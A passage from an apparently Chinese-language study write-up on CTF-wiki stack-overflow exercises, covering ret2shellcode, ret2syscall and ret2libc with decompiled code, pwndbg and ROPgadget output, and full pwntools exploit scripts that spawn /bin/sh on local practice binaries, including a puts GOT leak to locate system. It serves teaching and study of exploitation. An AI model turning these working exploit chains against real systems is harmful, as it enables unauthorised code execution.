void *addr; // [rsp+68h] [rbp-8h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
addr = (void *)((unsigned __int64)buf2 & -getpagesize());
v3 = getpagesize();
if ( mprotect(addr, v3, 7) >= 0 )
{
puts("No system for you this time !!!");
printf("buf2 address: %p\n", buf2);
gets(src);
strncpy(buf2, src, 0x64u);
printf("bye bye ~");
return 0;
}
else
{
perror("mprotect failed");
return 1;
}
}
|
跟上面一个思路,查看buf2还是在bss段
1
2
|
.bss:00000000004040A0 buf2 db 68h dup(?) ; DATA XREF: main+51↑o
.bss:00000000004040A0 ; main+A4↑o ...
|
查看bss段是否可执行,断点下在被mprotect调用后的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
pwndbg> b *0x401291
Breakpoint 1 at 0x401291
pwndbg> r
Starting program: /home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000000000401291 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
RAX 0
RBX 0
RCX 0x7ffff7d1eb1b (mprotect+11) ◂— cmp rax, -0xfff
RDX 7
RDI 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1
RSI 0x1000
R8 0x7ffff7e1bf10 (initial+16) ◂— 4
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7c082e0 ◂— 0xf0022000056ec
R11 0x202
R12 0x7fffffffde58 —▸ 0x7fffffffe0fd ◂— '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
R13 0x401216 (main) ◂— endbr64
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffdd40 ◂— 1
RSP 0x7fffffffdcd0 ◂— 1
RIP 0x401291 (main+123) ◂— test eax, eax
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
► 0x401291 <main+123> test eax, eax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
0x401293 <main+125> ✔ jns main+149 <main+149>
↓
0x4012ab <main+149> lea rax, [rip + 0xd66] RAX => 0x402018 ◂— 'No system for you this time !!!'
0x4012b2 <main+156> mov rdi, rax RDI => 0x402018 ◂— 'No system for you this time !!!'
0x4012b5 <main+159> call puts@plt <puts@plt>
0x4012ba <main+164> lea rax, [rip + 0x2ddf] RAX => 0x4040a0 (buf2)
0x4012c1 <main+171> mov rsi, rax RSI => 0x4040a0 (buf2)
0x4012c4 <main+174> lea rax, [rip + 0xd6d] RAX => 0x402038 ◂— 'buf2 address: %p\n'
0x4012cb <main+181> mov rdi, rax RDI => 0x402038 ◂— 'buf2 address: %p\n'
0x4012ce <main+184> mov eax, 0 EAX => 0
0x4012d3 <main+189> call printf@plt <printf@plt>
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd0 ◂— 1
01:0008│-068 0x7fffffffdcd8 ◂— 1
02:0010│-060 0x7fffffffdce0 —▸ 0x400040 ◂— 0x400000006
03:0018│-058 0x7fffffffdce8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
04:0020│-050 0x7fffffffdcf0 ◂— 0x6f0
05:0028│-048 0x7fffffffdcf8 —▸ 0x7fffffffe0d9 ◂— 0xb0ec6c6b3dbd55d3
06:0030│-040 0x7fffffffdd00 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
07:0038│-038 0x7fffffffdd08 ◂— 0x10101000000
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► 0 0x401291 main+123
1 0x7ffff7c29d90 __libc_start_call_main+128
2 0x7ffff7c29e40 __libc_start_main+128
3 0x401155 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 ret2shellcode
0x401000 0x402000 r-xp 1000 1000 ret2shellcode
0x402000 0x403000 r--p 1000 2000 ret2shellcode
0x403000 0x404000 r--p 1000 2000 ret2shellcode
0x404000 0x405000 rwxp 1000 3000 ret2shellcode
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0 [anon_7ffff7e1c]
0x7ffff7fad000 0x7ffff7fb0000 rw-p 3000 0 [anon_7ffff7fad]
0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0 [anon_7ffff7fbb]
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
|
还是通过vmmap看到可执行的bss段
1
|
0x404000 0x405000 rwxp 1000 3000 ret2shellcode
|
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#!/usr/bin/env python3
from pwn import *
context.binary = './ret2shellcode'
context.log_level = 'debug'
io = process('./ret2shellcode')
buf2_addr = 0x4040a0
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(100, b'\x90')
payload = payload.ljust(120, b'a')
payload += p64(buf2_addr)
io.sendline(payload)
io.interactive()
|
这里解释一下100和120怎么来的,首先是这个100,strncpy(buf2, src, 0x64u);这里copy100个字节到buf2,我们需要先注入shellcode到buf2进行执行,这里data.ljust方法是不足前面的数字,用后面的字符进行补齐,注入完100个字节后,我们考虑填满栈空间和rbp到返回地址,char src[104]; // [rsp+0h] [rbp-70h] BYREF这里定义了src数组到rbp的距离是0x70也就是112,64位的rbp是8字节,所以加起来是120字节
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell
依旧例题起手
1
2
3
4
5
6
|
➜ ret2syscall checksec rop
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
32位NX保护,不能执行shellcode了
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
|
可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
根据wiki上的描述,Linux 在x86上的系统调用通过 int 80h 实现,简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:
1
|
execve("/bin/sh",NULL,NULL)
|
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
1
2
3
4
5
6
|
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
可以看到有上述几个都可以控制 eax,这里我们选择第二个
类似的,我们可以得到控制其它寄存器的 gadgets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
|
这里选择
1
|
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
|
这个可以直接控制其它三个寄存器
此外,我们需要获得 /bin/sh 字符串对应的地址
1
2
3
4
|
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
|
还有 int 0x80 的地址
1
2
3
4
5
6
7
8
9
|
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
|
综合这几个就能写出exp了
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
|
听说用的不多
ret2libc
ret2libc 则是用 dynamic link libraries 中的 gadget(虽然这个利用方法叫做 ret2libc,但是所有连接进来的动态链接库都可以作为 gadget 的来源)
ret2libc 和 ret2text 类似,但是由于动态链接库的特性所致,在利用时多出了一步,便是泄漏动态链接库的基地址。关于泄漏基地址,这里就要引入两个关于链接库装载的表,got 表和 plt 表。
因为动态链接库的加载时的基地址是随机的,所以当程序调用动态链接库中的函数的时候,实际是转跳到预留在程序中的函数入口,即 plt。而执行到 plt 中后,会先检查对应的函数是否已经加载,如果已经加载,则根据 got 表中记录的地址转跳实际的函数地址。否则先调用加载函数(加载后的函数的地址记录在 got 表中),再转跳到对应的函数。
由此,我们可以知道加载之后的函数地址储存在 got 表中,那么我们就可以想办法将 got 表中的内容输出出来,然后减去偏移,从而实现泄漏动态链接库的基地址(这里计算基地址的原理是动态链接库的加载也是通过映射文件实现的,一个链接库映射到一段连续的内存空间)。拿到基地址之后我们就可以加上偏移获得所需函数或者 gadget。
例子:
1
2
3
4
5
6
7
8
9
10
11
|
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
int main() {
char str[0x20];
puts("Hello, world!");
read(0, str, 0x100);
return 0;
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"
p = process("./a.out")
elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")
pop_rdi = 0x00000000004011F3 # gadget: pop rdi; ret
ret = 0x000000000040101A # gadget: ret (用于栈对齐)
puts_plt = elf.plt["puts"] # puts函数的调用入口
puts_got = elf.got["puts"] # 存放puts函数真实地址的表格
main_addr = elf.sym["main"] # main函数的起始地址
payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.send(payload)
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) # 接收打印出来的真实地址
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"] # 真实地址-库中的偏移地址=库的起始基地址
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.sym["system"] # system函数的真实地址
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # binsh的真实地址
payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
gdb.attach(p)
p.send(payload)
p.interactive()
|
这个脚本做了两步,第一步是泄露libc在内存中真实的基地址,第二部就是计算system和binsh的真实地址执行system("/bin/sh"),第一步pop_rdi->puts_got->puts_plt->main_addr就是在main函数返回时调用puts输出我们got表中puts在libc中真实的地址,虽然 ASLR 会随机化基址,但 libc 内部各函数之间的偏移是固定的,我们只要把真实地址减去偏移地址就能得到基地址,然后加上获取到的偏移地址就能计算出所有库中函数的真实地址
其中u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))中的recvuntil是读到\x7f这个字节才停止,因为在64位linux中,libc地址通常是0x00007f开头的,由于机器是小端序,所以在内存中最后读到的会是\x7f,也就是libc的高位,[-6:]只取6字节,是因为虽然我们称之为 64 位地址,但在目前的 Linux x86_64 架构下,虚拟地址实际上只使用了 48 位,48位就是6字节,后面的填充,由于是小端序,不影响数值,这里要填充为8字节是因为pwntools中的u64函数要求接收的字节序列必须是8字节长,它会把这8字节长度转换成python中的整数
下面还是以ctfwiki例题来学习
ret2libc1